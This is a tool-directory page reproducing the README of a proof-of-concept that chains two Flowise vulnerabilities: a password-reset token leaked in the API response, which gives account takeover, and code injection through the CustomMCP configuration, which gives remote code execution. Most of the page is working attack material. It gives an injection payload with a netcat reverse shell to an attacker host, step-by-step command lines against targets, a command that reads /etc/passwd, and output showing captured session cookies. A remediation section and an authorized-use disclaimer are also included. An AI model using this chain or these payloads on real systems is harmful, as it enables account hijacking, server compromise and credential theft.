Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58434-AND-59528-POC — Combined PoC for CVE-2025-28434 and CVE-2025-59528 | Kitploit
Tools/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRemote Access ToolPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Combined PoC for CVE-2025-28434 and CVE-2025-59528

View Repository
194 months agoNot yet reviewed

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.


Table of Contents

  • Overview
  • Vulnerability Details
    • CVE-2025-58434 — Account Takeover
    • CVE-2025-59528 — Remote Code Execution
  • Full Attack Chain
  • Affected Versions
  • Repository Structure
  • Requirements
  • Installation
  • Usage
    • Default Behaviour
    • Help Screen
    • Chain Mode
    • Module — ATO
    • Module — Login
    • Module — RCE
  • Flag Reference
  • Reverse Shell vs Custom Command
  • Example Output
  • Remediation
  • Disclosure Timeline
  • References
  • Disclaimer

Overview

This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.

The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.


Vulnerability Details

CVE-2025-58434 — Account Takeover

Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.

Attack Steps:

  1. POST /api/v1/account/forgot-password with any registered email
  2. Read tempToken from the JSON response — no email access needed
  3. POST /api/v1/account/reset-password with the leaked token → set a new password
  4. Log in as the victim

Leaked response (trimmed):

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Remote Code Execution

Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.

Vulnerable code path:

root@kitploit:~
POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unsanitized user input

Required headers:

root@kitploit:~
Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Default injection payload (reverse shell):

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Note: Reverse shell payloads use cp.exec() (async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands use cp.execSync() and return output inline.


Full Attack Chain

root@kitploit:~
Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Affected Versions

ComponentStatus
Flowise Cloud (cloud.flowiseai.com)Affected by CVE-2025-58434
Flowise self-hosted (all versions prior to patch)Affected by both CVEs

Check the official Flowise security advisories for patched release numbers.


Repository Structure

root@kitploit:~
flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

Requirements

  • Python 3.7+
  • requests library

Installation

root@kitploit:~
git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Usage

Default Behaviour

No mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.

root@kitploit:~
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Start your listener before running:

root@kitploit:~
nc -lvnp 4444

Help Screen

root@kitploit:~
python3 flowise_poc.py -h

Chain Mode

Runs all four steps end-to-end: leak token → reset password → login → RCE.

root@kitploit:~
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"

# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Module — ATO

Leak the tempToken and reset the account password. Stops before login/RCE.

root@kitploit:~
# Default new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected]

# Custom new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] \
  -p "NewPassword2025!"

# Print raw JSON response
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e [email protected] --json-output

Module — Login

Authenticate and extract the three session cookies for manual use.

root@kitploit:~
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123"

# JSON output for scripting
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e [email protected] \
  -P "password123" --json-output

Module — RCE

Execute on the server. Auto-logins if --token is not given.

root@kitploit:~
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Custom command — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e [email protected] -P "password123" \
  -c "id"

# Manual token — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# All three cookies manually
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Flag Reference

Mode (all optional — default is --chain)

FlagDescription
--chainFull chain: ATO → Login → RCE
--module atoAccount takeover only
--module login

Target

FlagShortDescriptionRequired
--url-uBase URL of Flowise instance

ATO Options

FlagShortDescriptionDefault
--new-password-pPassword set on victim account after ATOFlowise@Pwn3d2025!

Auth Options

RCE Options

Misc

FlagShortDescriptionDefault

Reverse Shell vs Custom Command

The script automatically picks the right execution mode:

Async execution means the HTTP request completes instantly — no timeout errors on reverse shell payloads.


Example Output

root@kitploit:~
  [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    LEAKED ACCOUNT DATA
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token disclosed without authentication!

  [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Password reset SUCCESSFUL (tempToken cleared)
  [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!

  [Step 3] [Auth] Logging in to extract session cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    EXTRACTED SESSION COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE RESULT
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Reverse shell payload fired!
  [!] Waiting for connection on 10.10.16.35:4444 ...
  [!] Make sure your listener is running: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CHAIN COMPLETE

Remediation

For CVE-2025-58434

  • Never return tokens in API responses. Send the tempToken only via registered email.
  • Return a generic success message regardless of whether the email exists (prevents enumeration).
  • Make tokens single-use, short-lived (≤15 min), and tied to request context.
  • Rate-limit the forgot-password endpoint.

For CVE-2025-59528

  • Never pass user input to Function(), eval(), or vm.runInThisContext().
  • Parse mcpServerConfig as data only (e.g., JSON.parse()) — never execute it.
  • If dynamic evaluation is required, use an isolated sandbox with a restricted context.
  • Apply strict input validation and an allowlist of permitted configuration keys.

General

  • Patch both cloud and self-hosted deployments.
  • Enable logging and alerting on password reset and node-load-method endpoints.
  • Consider MFA for all admin accounts.

Disclosure Timeline

DateEvent
2025-08-19CVE-2025-58434 discovered and reported
TBDCVE-2025-59528 discovered and reported
TBDVendor acknowledgement

References

  • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
  • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
  • Flowise GitHub
  • CWE-640: Weak Password Recovery Mechanism
  • CWE-94: Improper Control of Code Generation

Disclaimer

For educational purposes and authorized penetration testing only.
See DISCLAIMER.md for the full legal notice.

Download Tool
CVE-2025-58434CVE-2025-59528
TypeAccount TakeoverRemote Code Execution
Auth RequiredNoneYes (any valid account)
CVSS9.8 CriticalCritical
AffectedCloud + Self-hostedSelf-hosted
Login and extract cookies only
--module rceRCE only
Always
--email-eTarget / login emailAlways
FlagShortDescription
--login-password-PPassword for login module / RCE auto-login
--token—Manually supply token cookie (skips login)
--refresh-token—Manually supply refreshToken cookie
--connect-sid—Manually supply connect.sid cookie
FlagShortDescriptionDefault
--lhost—Attacker IP for reverse shell—
--lport—Attacker port for reverse shell—
--command-cCustom OS command (overrides revshell)id if no lhost/lport
--timeout-tHTTP timeout (seconds)15
--json-output-jPrint raw JSON responsesfalse
ScenarioPayload usedHTTP behaviour
--lhost + --lport (no -c)mkfifo netcat one-linercp.exec() — async, returns immediately
-c "..." containing nc/mkfifo/bash -idetected as revshellcp.exec() — async, returns immediately
-c "id" or any other normal commanduser commandcp.execSync() — blocks, returns output
no -c, no --lhostidcp.execSync() — blocks, returns output
TBDPatch released
TBDPublic disclosure